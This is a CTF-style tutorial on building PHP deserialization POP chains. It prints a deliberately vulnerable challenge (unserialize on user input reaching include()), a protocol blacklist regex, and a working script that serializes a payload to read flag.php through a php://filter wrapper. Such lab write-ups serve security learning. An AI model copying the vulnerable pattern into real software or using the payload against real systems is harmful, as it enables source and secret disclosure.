Detailed introduction to the knowledge points of PHP deserialization pop chain construction

This article brings you relevant knowledge about PHP, which mainly introduces related issues about pop chain construction. Pop chain is a kind of attribute-oriented programming, which is often used to construct call chains. Let’s take a look at the method below, I hope it will be helpful to everyone.

Recommended learning: "PHP Video Tutorial"

As we continue to learn more about deserialization, let's learn about it The structure of the pop chain. This pop chain is still difficult to understand for a novice like me. I will write this article again to summarize it and deepen my understanding of constructing pop chains. At the same time, it also provides some understanding to friends who want to join the trap.

pop chain construction

General deserialization problems, where there are loopholes or where malicious code can be injected are in the magic method. We can automatically call the magic method. achieve attack effect. But when the injection point exists in an ordinary class method, the method automatically called before will be invalid, so we need to find the connection between the ordinary class and the magic method, figure out a logical idea, and use this logical idea to construct a pop chain to achieve the purpose of attack. Therefore, when we are doing this kind of pop questions, we must pay close attention to the magic method.

Introduction to pop chain

It is a method of attribute-oriented programming that is often used to construct call chains. Find a series of instructions that can be called in the code in the question, and integrate these instructions into a logical code that can achieve malicious attack effects, which is the pop chain (personal understanding, masters are welcome to give opinions) in constructing the pop chain , magic methods are essential. The following will use an example to explain how the pop chain is constructed, as well as the specific construction ideas.

The above question code:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

Construction ideas

When constructing the call chain, First find the head and tail of the call chain. The header is generally a place where parameters can be passed and deserialized, while the tail is generally a place where malicious code can be executed. When auditing the code for this question, the header uses the get method to pass parameters to pop, and the tail includes the include function. At this point, we should all know that we need to use the PHP pseudo-protocol to read the source code of the flag file. Now that the head and tail are found, we also know the attack method. Then find the magic method in the question.

__invoke()    当一个类被当作函数执行时调用此方法。

__construct   在创建对象时调用此方法

__toString()  在一个类被当作字符串处理时调用此方法

__wakeup()    当反序列化恢复成对象时调用此方法

__get()       当读取不可访问或不存在的属性的值会被调用

There are a total of these five magic methods in the question. Then find the connection between ordinary classes and magic methods.

It is not difficult to see that there is a preg_match function in the wakeup function, which is used to find sensitive strings in the source. We can start from here and assign the source to a show class, then the toString function will be automatically triggered, so now To extend the chain in the tostring method, we can assign $this->str to the test class in the tostring method, and read the source variable in the test class (because there is no source attribute in the test class, an inaccessible attribute is accessed ) will automatically call the get magic method. It can be found that there is a function call in the get method, then we can assign $this->p to the Modifier class, and the invoke method will be automatically called to execute the PHP pseudo-protocol we wrote (assign the var attribute in the Modifer class to our Malicious code)

At this point, we construct the pop chain.

pop chain explanation

<?php
class Modifier {
	protected $var=&#39;php://filter/read=convert.base64-encode/resource=flag.php&#39;;
}
class Show{
	public $source;
	public $str;
	function _construct(){
		$this->source=$file;
	}
}
class Test{
	public $p;
}
$a = new show();
$b = new show();
$c = new test();
$d = new Modifier();
$a->source=$b;
$b->str=$c;
$c->p= $d;
echo urlencode(serialize($a));
?>

First write out the classes used to form a framework, and then indicate the variables in the classes. Instantiate the classes used separately. Why do you need to use new show twice? (You should be able to understand by looking at the code. The first time is to instantiate the show class, and the second time is to instantiate the show class after the first instantiation. source = second instantiation of show)

Try to use URL encoding when we serialize (there are protected modified attributes in this question, and there will be invisible characters)

Recommended learning: "PHP video tutorial"

The above is the detailed content of Detailed introduction to the knowledge points of PHP deserialization pop chain construction. For more information, please follow other related articles on the PHP Chinese website!